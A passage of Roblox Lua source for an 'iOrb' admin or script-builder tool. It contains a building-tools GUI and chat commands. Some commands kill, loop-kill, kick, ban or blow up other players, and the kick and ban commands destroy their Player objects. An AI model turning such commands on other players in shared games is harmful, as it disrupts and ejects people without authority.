  1499. col.TextColor3=Color3.new(1,1,1)
  1500. lck=Instance.new("TextButton",frm)
  1501. lck.Name="iBLock"
  1502. lck.BackgroundTransparency=1
  1503. lck.Position=UDim2.new(0,0,0.579999983,0)
  1504. lck.Size=UDim2.new(1,0,0.119999997,0)
  1505. lck.Style="RobloxButton"
  1506. lck.ZIndex=9
  1507. lck.Font="ArialBold"
  1508. lck.FontSize="Size12"
  1509. lck.Text="Lock"
  1510. lck.TextColor3=Color3.new(1,1,1)
  1511. brk=Instance.new("TextButton",frm)
  1512. brk.Name="iBBreak"
  1513. brk.BackgroundTransparency=1
  1514. brk.Position=UDim2.new(0,0,0.699999988,0)
  1515. brk.Size=UDim2.new(1,0,0.119999997,0)
  1516. brk.Style="RobloxButton"
  1517. brk.ZIndex=9
  1518. brk.Font="ArialBold"
  1519. brk.FontSize="Size12"
  1520. brk.Text="BreakJoints"
  1521. brk.TextColor3=Color3.new(1,1,1)
  1522. set=Instance.new("TextButton",frm)
  1523. set.Name="iBSettings"
  1524. set.BackgroundTransparency=1
  1525. set.Position=UDim2.new(0,0,0.829999983,0)
  1526. set.Size=UDim2.new(1,0,0.119999997,0)
  1527. set.Style="RobloxButton"
  1528. set.ZIndex=9
  1529. set.Font="ArialBold"
  1530. set.FontSize="Size12"
  1531. set.Text="Settings"
  1532. set.TextColor3=Color3.new(1,1,1)
  1533. frm.Visible=true
  1534. --SettingsGUI--
  1535. frs=Instance.new("Frame",gui)
  1536. frs.Visible=false
  1537. frs.Name="iBSettings"
  1538. frs.Position=UDim2.new(0.389999986,0,0.400000006,0)
  1539. frs.Size=UDim2.new(0.25,0,0.25,0)
  1540. frs.Style="RobloxRound"
  1541. frs.ZIndex=8
  1542. frw=Instance.new("Frame",frs)
  1543. frw.Name="iBWindow"
  1544. frw.Position=UDim2.new(0,0,0.25999999,0)
  1545. frw.Size=UDim2.new(1,0,0.74000001,0)
  1546. frw.Style="RobloxRound"
  1547. frw.ZIndex=8
  1548. cls=Instance.new("TextButton",frs)
  1549. cls.Name="iBClose"
  1550. cls.Position=UDim2.new(0.850000024,0,-0.00999999978,0)
  1551. cls.Size=UDim2.new(0.150000006,0,0.219999999,0)
  1552. cls.Style="RobloxButtonDefault"
  1553. cls.ZIndex=10
  1554. cls.Font="ArialBold"
  1555. cls.FontSize="Size12"
  1556. cls.Text="X"
  1557. cls.TextColor3=Color3.new(1,0,0)
  1558. wtl=Instance.new("TextLabel",frs)
  1559. wtl.Name="iBTitle"
  1560. wtl.BackgroundTransparency=1
  1561. wtl.Size=UDim2.new(1,0,0.25,0)
  1562. wtl.ZIndex=9
  1563. wtl.Font="ArialBold"
  1564. wtl.FontSize="Size14"
  1565. wtl.Text="iBuildTools Settings Window"
  1566. wtl.TextColor3=Color3.new(1,1,1)
  1567. wtl.TextStrokeColor3=Color3.new(0,0,0)
  1568. wtl.TextStrokeTransparency=0
  1569. wtl.TextXAlignment="Left"
  1570. clk=Instance.new("TextLabel",frw)
  1571. clk.Name="iBClick"
  1572. clk.BackgroundTransparency=1
  1573. clk.Size=UDim2.new(1,0,0.330000013,0)
  1574. clk.ZIndex=10
  1575. clk.Font="ArialBold"
  1576. clk.FontSize="Size12"
  1577. clk.TextColor3=Color3.new(1,1,1)
  1578. clk.Text=" - Click Mode : "
  1579. clk.TextStrokeColor3=Color3.new(0,0,0)
  1580. clk.TextStrokeTransparency=0
  1581. clk.TextXAlignment="Left"
  1582. ray=Instance.new("TextLabel",frw)
  1583. ray.Name="iBRay"
  1584. ray.BackgroundTransparency=1
  1585. ray.Position=UDim2.new(0,0,0.330000013,0)
  1586. ray.Size=UDim2.new(1,0,0.330000013,0)
  1587. ray.ZIndex=10
  1588. ray.Font="ArialBold"
  1589. ray.FontSize="Size12"
  1590. ray.TextColor3=Color3.new(1,1,1)
  1591. ray.Text=" - Ray Mode : "
  1592. ray.TextStrokeColor3=Color3.new(0,0,0)
  1593. ray.TextStrokeTransparency=0
  1594. ray.TextXAlignment="Left"
  1595. rfc=Instance.new("TextLabel",frw)
  1596. rfc.Name="iBRayFunction"
  1597. rfc.BackgroundTransparency=1
  1598. rfc.Position=UDim2.new(0,0,0.660000013,0)
  1599. rfc.Size=UDim2.new(1,0,0.330000013,0)
  1600. rfc.ZIndex=10
  1601. rfc.Font="ArialBold"
  1602. rfc.FontSize="Size12"
  1603. rfc.TextColor3=Color3.new(1,1,1)
  1604. rfc.Text=" - Ray Function : "
  1605. rfc.TextStrokeColor3=Color3.new(0,0,0)
  1606. rfc.TextStrokeTransparency=0
  1607. rfc.TextXAlignment="Left"
  1608. ckb=Instance.new("TextButton",frw)
  1609. ckb.Name="iBClickButton"
  1610. ckb.Position=UDim2.new(0.400000006,0,0,0)
  1611. ckb.Size=UDim2.new(0.600000024,0,0.330000013,0)
  1612. ckb.ZIndex=10
  1613. ckb.Selected=true
  1614. ckb.Style="RobloxButtonDefault"
  1615. ckb.Font="ArialBold"
  1616. ckb.FontSize="Size12"
  1617. ckb.Text="Enabled"
  1618. ckb.TextColor3=Color3.new(0,1,0)
  1619. ryb=Instance.new("TextButton",frw)
  1620. ryb.Name="iBRayButton"
  1621. ryb.Position=UDim2.new(0.400000006,0,0.330000013,0)
  1622. ryb.Size=UDim2.new(0.600000024,0,0.330000013,0)
  1623. ryb.Style="RobloxButton"
  1624. ryb.ZIndex=10
  1625. ryb.Font="ArialBold"
  1626. ryb.FontSize="Size12"
  1627. ryb.Text="Disabled"
  1628. ryb.TextColor3=Color3.new(1,0,0)
  1629. rfb=Instance.new("TextButton",frw)
  1630. rfb.Name="iBRayFButton"
  1631. rfb.Position=UDim2.new(0.400000006,0,0.660000013,0)
  1632. rfb.Size=UDim2.new(0.600000024,0,0.330000013,0)
  1633. rfb.Style="RobloxButtonDefault"
  1634. rfb.ZIndex=10
  1635. rfb.Font="ArialBold"
  1636. rfb.FontSize="Size12"
  1637. rfb.Text="Enable Propertie"
  1638. rfb.TextColor3=Color3.new(0,1,0)
  1639. end createGui()
  1640. coroutine.resume(coroutine.create(function()
  1641. while(mouse)and wait() do
  1642. if(box)and(ray)then
  1643. if(lvi)then
  1644. lso.Visible=true
  1645. else
  1646. lso.Visible=false
  1647. end
  1648. if(md1==1)then
  1649. if(clr)then
  1650. if(mouse.Target~=nil)then
  1651. if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
  1652. box.Visible=true
  1653. box.Parent=game.Workspace.CurrentCamera
  1654. box.Adornee=mouse.Target
  1655. if(md2==1)then
  1656. box.Color=BrickColor.new("Bright red")
  1657. elseif(md2==2)then
  1658. if(mouse.Target.Anchored)then
  1659. box.Color=BrickColor.new("Camo")
  1660. else
  1661. box.Color=BrickColor.new("Bright red")
  1662. end
  1663. elseif(md2==3)then
  1664. if(mouse.Target.CanCollide)then
  1665. box.Color=BrickColor.new("Camo")
  1666. else
  1667. box.Color=BrickColor.new("Bright red")
  1668. end
  1669. elseif(md2==4)then
  1670. if(mouse.Target.Locked)then
  1671. box.Color=BrickColor.new("Camo")
  1672. else
  1673. box.Color=BrickColor.new("Bright red")
  1674. end
  1675. elseif(md2==5)then
  1676. box.Color=BrickColor.new("Bright blue")
  1677. end
  1678. end
  1679. else
  1680. box.Visible=false
  1681. box.Parent=nil
  1682. box.Adornee=nil
  1683. end
  1684. end
  1685. elseif(md1==2)then
  1686. lso.Point=mouse.Hit.p
  1687. box.Visible=false
  1688. box.Parent=nil
  1689. box.Adornee=nil
  1690. if(md2~=1)and(md2~=5)then
  1691. if(md3==1)then
  1692. lso.Color=BrickColor.new("Camo")
  1693. elseif(md3==2)then
  1694. lso.Color=BrickColor.new("Bright red")
  1695. end
  1696. elseif(md2==1)then
  1697. if(cle)then
  1698. lso.Color=BrickColor.new("Bright red")
  1699. else
  1700. lso.Color=BrickColor.new("Bright blue")
  1701. end
  1702. elseif(md2==5)then
  1703. if(cle)then
  1704. lso.Color=BrickColor.new("Bright red")
  1705. else
  1706. lso.Color=BrickColor.new("Bright blue")
  1707. end
  1708. end
  1709. end
  1710. end
  1711. end
  1712. end))
  1713. function delDown()
  1714. del_downFunc=mouse.Button1Down:connect(function()
  1715. md2=1
  1716. if(md2==1)then
  1717. if(md1==1)then
  1718. if(mouse.Target~=nil)then
  1719. if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
  1720. mouse.Target:remove()
  1721. end
  1722. end
  1723. elseif(md1==2)then
  1724. lvi=true
  1725. lso.Parent=game.Workspace.CurrentCamera
  1726. while(lvi)and wait() do
  1727. if(mouse.Target~=nil)then
  1728. if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
  1729. mouse.Target:remove()
  1730. cle=true
  1731. wait(tme)
  1732. cle=false
  1733. else
  1734. cle=false
  1735. end
  1736. else
  1737. cle=false
  1738. end
  1739. end
  1740. end
  1741. end
  1742. end)
  1743. end
  1744. function delUp()
  1745. del_upFunc=mouse.Button1Up:connect(function()
  1746. lvi=false
  1747. cle=false
  1748. lso.Parent=nil
  1749. end)
  1750. end
  1751. function achDown()
  1752. ach_downFunc=mouse.Button1Down:connect(function()
  1753. md2=2
  1754. if(md2==2)then
  1755. if(md1==1)then
  1756. if(mouse.Target~=nil)then
  1757. if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
  1758. if(mouse.Target.Anchored)then
  1759. mouse.Target.Anchored=false
  1760. else
  1761. mouse.Target.Anchored=true
  1762. end
  1763. end
  1764. end
  1765. elseif(md1==2)then
  1766. lvi=true
  1767. lso.Parent=game.Workspace.CurrentCamera
  1768. while(lvi)and wait() do
  1769. if(mouse.Target~=nil)then
  1770. if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
  1771. if(md3==1)then
  1772. mouse.Target.Anchored=true
  1773. elseif(md3==2)then
  1774. mouse.Target.Anchored=false
  1775. end
  1776. end
  1777. end
  1778. end
  1779. end
  1780. end
  1781. end)
  1782. end
  1783. function achUp()
  1784. ach_upFunc=mouse.Button1Up:connect(function()
  1785. lvi=false
  1786. lso.Parent=nil
  1787. end)
  1788. end
  1789. function colDown()
  1790. col_downFunc=mouse.Button1Down:connect(function()
  1791. md2=3
  1792. if(md2==3)then
  1793. if(md1==1)then
  1794. if(mouse.Target~=nil)then
  1795. if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
  1796. if(mouse.Target.CanCollide)then
  1797. mouse.Target.CanCollide=false
  1798. else
  1799. mouse.Target.CanCollide=true
  1800. end
  1801. end
  1802. end
  1803. elseif(md1==2)then
  1804. lvi=true
  1805. lso.Parent=game.Workspace.CurrentCamera
  1806. while(lvi)and wait() do
  1807. if(mouse.Target~=nil)then
  1808. if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
  1809. if(md3==1)then
  1810. mouse.Target.CanCollide=true
  1811. elseif(md3==2)then
  1812. mouse.Target.CanCollide=false
  1813. end
  1814. end
  1815. end
  1816. end
  1817. end
  1818. end
  1819. end)
  1820. end
  1821. function colUp()
  1822. col_upFunc=mouse.Button1Up:connect(function()
  1823. lvi=false
  1824. lso.Parent=nil
  1825. end)
  1826. end
  1827. function lckDown()
  1828. lck_downFunc=mouse.Button1Down:connect(function()
  1829. md2=4
  1830. if(md2==4)then
  1831. if(md1==1)then
  1832. if(mouse.Target~=nil)then
  1833. if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
  1834. if(mouse.Target.Locked)then
  1835. mouse.Target.Locked=false
  1836. else
  1837. mouse.Target.Locked=true
  1838. end
  1839. end
  1840. end
  1841. elseif(md1==2)then
  1842. lvi=true
  1843. lso.Parent=game.Workspace.CurrentCamera
  1844. while(lvi)and wait() do
  1845. if(mouse.Target~=nil)then
  1846. if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
  1847. if(md3==1)then
  1848. mouse.Target.Locked=true
  1849. elseif(md3==2)then
  1850. mouse.Target.Locked=false
  1851. end
  1852. end
  1853. end
  1854. end
  1855. end
  1856. end
  1857. end)
  1858. end
  1859. function lckUp()
  1860. lck_upFunc=mouse.Button1Up:connect(function()
  1861. lvi=false
  1862. lso.Parent=nil
  1863. end)
  1864. end
  1865. function brkDown()
  1866. brk_downFunc=mouse.Button1Down:connect(function()
  1867. md2=5
  1868. if(md2==5)then
  1869. if(md1==1)then
  1870. if(mouse.Target~=nil)then
  1871. if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
  1872. clr=false
  1873. box.Color=BrickColor.new("Bright red")
  1874. mouse.Target:BreakJoints()
  1875. end
  1876. end
  1877. elseif(md1==2)then
  1878. lvi=true
  1879. lso.Parent=game.Workspace.CurrentCamera
  1880. while(lvi)and wait() do
  1881. if(mouse.Target~=nil)then
  1882. if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
  1883. mouse.Target:BreakJoints()
  1884. cle=true
  1885. else
  1886. cle=true
  1887. end
  1888. else
  1889. cle=false
  1890. end
  1891. end
  1892. end
  1893. end
  1894. end)
  1895. end
  1896. function brkUp()
  1897. brk_upFunc=mouse.Button1Up:connect(function()
  1898. clr=true
  1899. lvi=false
  1900. cle=false
  1901. end)
  1902. end
  1903. delDown()
  1904. delUp()
  1905. achDown()
  1906. achUp()
  1907. colDown()
  1908. colUp()
  1909. lckDown()
  1910. lckUp()
  1911. brkDown()
  1912. brkUp()
  1913. del.MouseButton1Click:connect(function()
  1914. md2=1
  1915. del_downFunc:disconnect()
  1916. del_upFunc:disconnect()
  1917. ach_downFunc:disconnect()
  1918. ach_upFunc:disconnect()
  1919. col_downFunc:disconnect()
  1920. col_upFunc:disconnect()
  1921. lck_downFunc:disconnect()
  1922. lck_upFunc:disconnect()
  1923. brk_downFunc:disconnect()
  1924. brk_upFunc:disconnect()
  1925. del.Style="RobloxButtonDefault"
  1926. del.Selected=true
  1927. ach.Style="RobloxButton"
  1928. ach.Selected=false
  1929. col.Style="RobloxButton"
  1930. col.Selected=false
  1931. lck.Style="RobloxButton"
  1932. lck.Selected=false
  1933. brk.Style="RobloxButton"
  1934. brk.Selected=false
  1935. delDown()
  1936. delUp()
  1937. end)
  1938. ach.MouseButton1Click:connect(function()
  1939. md2=2
  1940. del_downFunc:disconnect()
  1941. del_upFunc:disconnect()
  1942. ach_downFunc:disconnect()
  1943. ach_upFunc:disconnect()
  1944. col_downFunc:disconnect()
  1945. col_upFunc:disconnect()
  1946. lck_downFunc:disconnect()
  1947. lck_upFunc:disconnect()
  1948. brk_downFunc:disconnect()
  1949. brk_upFunc:disconnect()
  1950. del.Style="RobloxButton"
  1951. del.Selected=false
  1952. ach.Style="RobloxButtonDefault"
  1953. ach.Selected=true
  1954. col.Style="RobloxButton"
  1955. col.Selected=false
  1956. lck.Style="RobloxButton"
  1957. lck.Selected=false
  1958. brk.Style="RobloxButton"
  1959. brk.Selected=false
  1960. achDown()
  1961. achUp()
  1962. end)
  1963. col.MouseButton1Click:connect(function()
  1964. md2=3
  1965. del_downFunc:disconnect()
  1966. del_upFunc:disconnect()
  1967. ach_downFunc:disconnect()
  1968. ach_upFunc:disconnect()
  1969. col_downFunc:disconnect()
  1970. col_upFunc:disconnect()
  1971. lck_downFunc:disconnect()
  1972. lck_upFunc:disconnect()
  1973. brk_downFunc:disconnect()
  1974. brk_upFunc:disconnect()
  1975. del.Style="RobloxButton"
  1976. del.Selected=false
  1977. ach.Style="RobloxButton"
  1978. ach.Selected=false
  1979. col.Style="RobloxButtonDefault"
  1980. col.Selected=true
  1981. lck.Style="RobloxButton"
  1982. lck.Selected=false
  1983. brk.Style="RobloxButton"
  1984. brk.Selected=false
  1985. colDown()
  1986. colUp()
  1987. end)
  1988. lck.MouseButton1Click:connect(function()
  1989. md2=4
  1990. del_downFunc:disconnect()
  1991. del_upFunc:disconnect()
  1992. ach_downFunc:disconnect()
  1993. ach_upFunc:disconnect()
  1994. col_downFunc:disconnect()
  1995. col_upFunc:disconnect()
  1996. lck_downFunc:disconnect()
  1997. lck_upFunc:disconnect()
  1998. brk_downFunc:disconnect()
  1999. brk_upFunc:disconnect()
  2000. del.Style="RobloxButton"
  2001. del.Selected=false
  2002. ach.Style="RobloxButton"
  2003. ach.Selected=false
  2004. col.Style="RobloxButton"
  2005. col.Selected=false
  2006. lck.Style="RobloxButtonDefault"
  2007. lck.Selected=true
  2008. brk.Style="RobloxButton"
  2009. brk.Selected=false
  2010. lckDown()
  2011. lckUp()
  2012. end)
  2013. brk.MouseButton1Click:connect(function()
  2014. md2=5
  2015. del_downFunc:disconnect()
  2016. del_upFunc:disconnect()
  2017. ach_downFunc:disconnect()
  2018. ach_upFunc:disconnect()
  2019. col_downFunc:disconnect()
  2020. col_upFunc:disconnect()
  2021. lck_downFunc:disconnect()
  2022. lck_upFunc:disconnect()
  2023. brk_downFunc:disconnect()
  2024. brk_upFunc:disconnect()
  2025. del.Style="RobloxButton"
  2026. del.Selected=false
  2027. ach.Style="RobloxButton"
  2028. ach.Selected=false
  2029. col.Style="RobloxButton"
  2030. col.Selected=false
  2031. lck.Style="RobloxButton"
  2032. lck.Selected=false
  2033. brk.Style="RobloxButtonDefault"
  2034. brk.Selected=true
  2035. brkDown()
  2036. brkUp()
  2037. end)
  2038. set.MouseButton1Click:connect(function()
  2039. if(ste)then
  2040. ste=false
  2041. frs.Visible=false
  2042. set.Style="RobloxButton"
  2043. else
  2044. ste=true
  2045. frs.Visible=true
  2046. set.Style="RobloxButtonDefault"
  2047. end
  2048. end)
  2049. cls.MouseButton1Click:connect(function()
  2050. ste=false
  2051. frs.Visible=false
  2052. set.Style="RobloxButton"
  2053. end)
  2054. ckb.MouseButton1Click:connect(function()
  2055. md1=1
  2056. ckb.Style="RobloxButtonDefault"
  2057. ckb.Selected=true
  2058. ckb.Text="Enabled"
  2059. ckb.TextColor3=Color3.new(0,1,0)
  2060. ryb.Style="RobloxButton"
  2061. ryb.Selected=false
  2062. ryb.Text="Disabled"
  2063. ryb.TextColor3=Color3.new(1,0,0)
  2064. end)
  2065. ryb.MouseButton1Click:connect(function()
  2066. md1=2
  2067. ryb.Style="RobloxButtonDefault"
  2068. ryb.Selected=true
  2069. ryb.Text="Enabled"
  2070. ryb.TextColor3=Color3.new(0,1,0)
  2071. ckb.Style="RobloxButton"
  2072. ckb.Selected=false
  2073. ckb.Text="Disabled"
  2074. ckb.TextColor3=Color3.new(1,0,0)
  2075. end)
  2076. rfb.MouseButton1Click:connect(function()
  2077. if(md3==1)then
  2078. md3=2
  2079. rfb.Style="RobloxButton"
  2080. rfb.Text="Disable Propertie"
  2081. rfb.TextColor3=Color3.new(1,0,0)
  2082. elseif(md3==2)then
  2083. md3=1
  2084. rfb.Style="RobloxButtonDefault"
  2085. rfb.Text="Enable Propertie"
  2086. rfb.TextColor3=Color3.new(0,1,0)
  2087. end
  2088. end)
  2089. end)
  2090. bin.Deselected:connect(function()
  2091. clr=false
  2092. if(box~=nil)then
  2093. box:Destroy()
  2094. end
  2095. if(lso~=nil)then
  2096. lso:Destroy()
  2097. end
  2098. if(gui~=nil)then
  2099. gui:Destroy()
  2100. end
  2101. end)
  2102. end
  2103.  
  2104. -- Run chatEvent --
  2105.  
  2106. iPrimaryChat=iOrb.Player.Chatted:connect(iOrbChat)
  2107.  
  2108. -- Commands --
  2109.  
  2110. iCmd.turn=function(boolean)
  2111. if boolean=="true" or boolean==nil or boolean=="" then iOrb.Turn=true elseif boolean=="false" then iOrb.Turn=false end
  2112. end
  2113.  
  2114. iCmd.tena=function(boolean)
  2115. if boolean=="true" or boolean==nil or boolean=="" then iOrb.Trail=true elseif boolean=="false" then iOrb.Trail=false end
  2116. end
  2117.  
  2118. iCmd.fena=function(boolean)
  2119. if boolean=="true" or boolean==nil or boolean=="" then if iOrb.Fire~=nil then iOrb.Fire.Enabled=true end elseif boolean=="false" then if iOrb.Fire~=nil then iOrb.Fire.Enabled=false end end
  2120. end
  2121.  
  2122. iCmd.move=function(boolean)
  2123. if boolean=="true" or boolean==nil or boolean=="" and not iOrb.Move then iOrb.Move=true elseif boolean=="false" then iOrb.Move=false end
  2124. end
  2125.  
  2126. iCmd.fchange=function(boolean)
  2127. if boolean=="true" or boolean==nil or boolean=="" then iOrb.FireColorChange=true elseif boolean=="false" then iOrb.FireColorChange=false end
  2128. end
  2129.  
  2130. iCmd.localorb=function(boolean) if not iOrb.Orbed then
  2131. if boolean=="true" or boolean==nil or boolean=="" then iOrb.LocalOrb=true if not iOrb.Orbed then iOrb.OrbParent=game.Workspace.CurrentCamera end iOrb.LoadAnimation=false iOrb.CreateOrb=false wait() iRemoveOrb(iOrb.DefaultParent) wait(.1) iOrb.LoadAnimation=true wait() iOrb.CreateOrb=true elseif boolean=="false" then if not iOrb.Orbed then iOrb.OrbParent=iOrb.DefaultParent end iOrb.LocalOrb=false iOrb.LoadAnimation=false iOrb.CreateOrb=false wait() iRemoveOrb(game.Workspace.CurrentCamera) wait(.1) iOrb.LoadAnimation=true wait() iOrb.CreateOrb=true end
  2132. end end
  2133.  
  2134. iCmd.particles=function(boolean)
  2135. if boolean=="true" or boolean==nil or boolean=="" then iOrb.Particles=true elseif boolean=="false" then iOrb.Particles=false end
  2136. end
  2137.  
  2138. iCmd.rotspeed=function(number)
  2139. if tonumber(number,10) then iOrb.RotSpeed=tonumber(number,10) iOrb.RotCoef=tonumber(number,10) end
  2140. end
  2141.  
  2142. iCmd.levirise=function(number)
  2143. if tonumber(number,10) then iOrb.LeviRise=tonumber(number,10) end
  2144. end
  2145.  
  2146. iCmd.levispeed=function(number)
  2147. if tonumber(number,10) then iOrb.LeviSpeed=tonumber(number,10) end
  2148. end
  2149.  
  2150. iCmd.tsize=function(number)
  2151. if tonumber(number,10) then iOrb.TSize=tonumber(number,10) end
  2152. end
  2153.  
  2154. iCmd.fsize=function(number)
  2155. if tonumber(number,10) then if iOrb.Fire~=nil then iOrb.Fire.Size=tonumber(number,10) end end
  2156. end
  2157.  
  2158. iCmd.fheat=function(number)
  2159. if tonumber(number,10) then if iOrb.Fire~=nil then iOrb.Fire.Heat=tonumber(number,10) end end
  2160. end
  2161.  
  2162. iCmd.x=function(number)
  2163. if tonumber(number,10) then iOrb.BaseX=tonumber(number,10) end
  2164. end
  2165.  
  2166. iCmd.y=function(number)
  2167. if tonumber(number,10) then iOrb.BaseY=tonumber(number,10) end
  2168. end
  2169.  
  2170. iCmd.z=function(number)
  2171. if tonumber(number,10) then iOrb.BaseZ=tonumber(number,10) end
  2172. end
  2173.  
  2174. iCmd.kill=function(player)
  2175. player=iGetPlayer(player)
  2176. iPCmd(player,"Bright red")
  2177. for _,v in pairs(player) do
  2178. if v.Character~=nil then
  2179. v.Character:BreakJoints()
  2180. end
  2181. end
  2182. end
  2183.  
  2184. iCmd.kl=function(player) iCmd.kill(player) end
  2185.  
  2186. iCmd.loopkill=function(player)
  2187. player=iGetPlayer(player)
  2188. iPCmd(player,"Bright red")
  2189. for _,v in pairs(player) do
  2190. table.insert(iLkl,tostring(v))
  2191. end
  2192. end
  2193.  
  2194. iCmd.lkl=function(player) iCmd.loopkill(player) end
  2195.  
  2196. iCmd.unloopkill=function(player) player=iGetPlayer(player)
  2197. for _,v in pairs(player) do
  2198. for i,t in pairs(iLkl) do
  2199. if tostring(v):match(t) then table.remove(iLkl,i) end
  2200. end
  2201. end
  2202. end
  2203.  
  2204. iCmd.unlkl=function(player) iCmd.unloopkill(player) end
  2205.  
  2206. iCmd.kick=function(player)
  2207. player=iGetPlayer(player)
  2208. iPCmd(player,"Bright red")
  2209. for _,v in pairs(player) do
  2210. local obj=Instance.new("ObjectValue",game.Players) obj.Name=v.Name v:Destroy()
  2211. end
  2212. end
  2213.  
  2214. iCmd.banlist=function()
  2215. for _,v in pairs(iBan) do
  2216. iOrb.runmsg=true iTypeMsg(tostring(v):sub(1,i),1) iOrb.runmsg=false
  2217. end
  2218. end
  2219.  
  2220. iCmd.ban=function(player)
  2221. player=iGetPlayer(player)
  2222. iPCmd(player,"Bright red")
  2223. for _,v in pairs(player) do
  2224. table.insert(iBan,v) local obj=Instance.new("ObjectValue",game.Players) obj.Name=v.Name v:Destroy()
  2225. end
  2226. end
  2227.  
  2228. iCmd.unban=function(player) plrb=iGetPlayer(player)
  2229. for _,v in pairs(plrb) do
  2230. for i,t in pairs(iBan) do
  2231. if tostring(v):match(t) then table.remove(iBan,i) end
  2232. end
  2233. end
  2234. for _,v in pairs(iBan) do if player~=nil or player~="" or player~="all" then
  2235. if string.lower(tostring(v):sub(1,player:len()))==player:lower() then
  2236. table.remove(iBan,_) if game.Players:FindFirstChild(v) then if game.Players:FindFirstChild(v):IsA("ObjectValue") then game.Players:FindFirstChild(v):remove() end end
  2237. end
  2238. elseif player==nil or player=="" or player=="all" then table.remove(iBan,_) if game.Players:FindFirstChild(v):IsA("ObjectValue") then game.Players:FindFirstChild(v):remove() end end end
  2239. end
  2240.  
  2241. iCmd.orb=function() if not iOrb.Orbed and game.Players.LocalPlayer~=nil then
  2242. iOrb.Player.Character.Archivable=true
  2243. iOrb.CharacterClone = iOrb.Player.Character:clone()
  2244. iOrb.CreateOrb=false iOrb.Orbed=true iOrb.LocalOrb=false iOrb.sCmdExecution=false iRemoveOrb(iOrb.DefaultParent) iRemoveOrb(game.Workspace.CurrentCamera) wait(.05) iOrb.Name=iOrb.OrbedName wait() iOrb.CreateOrb=true
  2245. end end
  2246.  
  2247. iCmd.char=function() if iOrb.Orbed and game.Players:FindFirstChild(iOrb.PlayerName) then if not game.Players:FindFirstChild(iOrb.PlayerName):IsA("ObjectValue") then wait()
  2248. local currentOrbPosition = iOrb.Orb.CFrame
  2249. iOrb.CreateOrb=false iOrb.Orbed=false iOrb.LocalOrb=false iOrb.sCmdExecution=true iRemoveOrb(iOrb.DefaultParent) iRemoveOrb(game.Workspace.CurrentCamera) iRemoveOrb(game.Workspace) iOrb.Name=iOrb.OrbName iBackupsCmd() wait()
  2250. iOrb.CharacterClone.Parent=game.Workspace
  2251. iOrb.Player.Character = iOrb.CharacterClone
  2252. if iOrb.CharacterClone:FindFirstChild("Animate") then
  2253. iOrb.CharacterClone.Animate.Disabled = true
  2254. wait()
  2255. iOrb.CharacterClone.Animate.Disabled = false
  2256. end
  2257. repeat wait() until game.Players.LocalPlayer.Character~=nil and game.Players.LocalPlayer.Character:FindFirstChild("Torso") and game.Players.LocalPlayer.Character:FindFirstChild("Humanoid") and game.Players.LocalPlayer.Character.Humanoid.Health > 0 iOrb.CharacterClone:FindFirstChild("Torso").CFrame=CFrame.new(currentOrbPosition.p) iOrb.CharacterClone.Archivable=false iOrb.CharacterClone=nil iOrb.CreateOrb=true iOrb.Move=true
  2258. end end end
  2259.  
  2260. iCmd.fly=function() if not iOrb.Orbed then
  2261. if iOrb.Player ~= nil then
  2262. if iOrb.Player.Character ~= nil then
  2263. iStriker()
  2264. end
  2265. end
  2266. end end
  2267.  
  2268. iCmd.ff=function(player)
  2269. player=iGetPlayer(player)
  2270. iPCmd(player,"Bright blue")
  2271. for _,v in pairs(player) do
  2272. if v.Character~=nil then
  2273. Instance.new("ForceField",v.Character)
  2274. end
  2275. end
  2276. end
  2277.  
  2278. iCmd.explode=function(player)
  2279. if iOrb.Orbed and iOrb.Orb~=nil and player=="me" then
  2280. local boom=Instance.new("Explosion",iOrb.Orb)
  2281. boom.Position=iOrb.Orb.CFrame.p
  2282. boom.ExplosionType=2
  2283. else
  2284. player=iGetPlayer(player)
  2285. iPCmd(player,"Bright red")
  2286. for _,v in pairs(player) do
  2287. if v.Character~=nil then
  2288. if v.Character:FindFirstChild("Torso") then
  2289. local boom=Instance.new("Explosion",v.Character.Torso)
  2290. boom.Position=v.Character.Torso.CFrame.p
  2291. boom.ExplosionType=2
  2292. end
  2293. end
  2294. end
  2295. end
  2296. end
  2297.  
  2298. iCmd.expl=function(player) iCmd.explode(player) end
  2299.  
  2300. iCmd.tower=function(player,height,duration)
  2301. player=iGetPlayer(player)
  2302. iPCmd(player,"Bright red")
  2303. for _,v in pairs(player) do
  2304. if v == iOrb.Player and iOrb.Orbed then else
  2305. if v.Character~=nil then
  2306. if v.Character:FindFirstChild("Torso") then
  2307. coroutine.wrap(function()
  2308. local heightValue = nil
  2309. local part = Instance.new("Part",game.Workspace)
  2310. part.Name = "iTower"
  2311. part.Anchored = true
  2312. part.Locked = true
  2313. part.CanCollide = true
  2314. part.FormFactor = Enum.FormFactor.Custom
  2315. part.Material = Enum.Material.Concrete
  2316. part.BottomSurface="Smooth"
  2317. part.TopSurface="Smooth"
  2318. part.BrickColor = BrickColor.new("Medium stone grey")
  2319. part.Size = Vector3.new(10,.2,10)
  2320. part.CFrame = v.Character.Torso.CFrame * CFrame.new(0,-2.5,0)
  2321. if height == "" or tonumber(height) <= 0 or height == nil then heightValue = 30
  2322. else heightValue = tonumber(height) end
  2323. for i = part.Size.y, heightValue, .25 do wait()
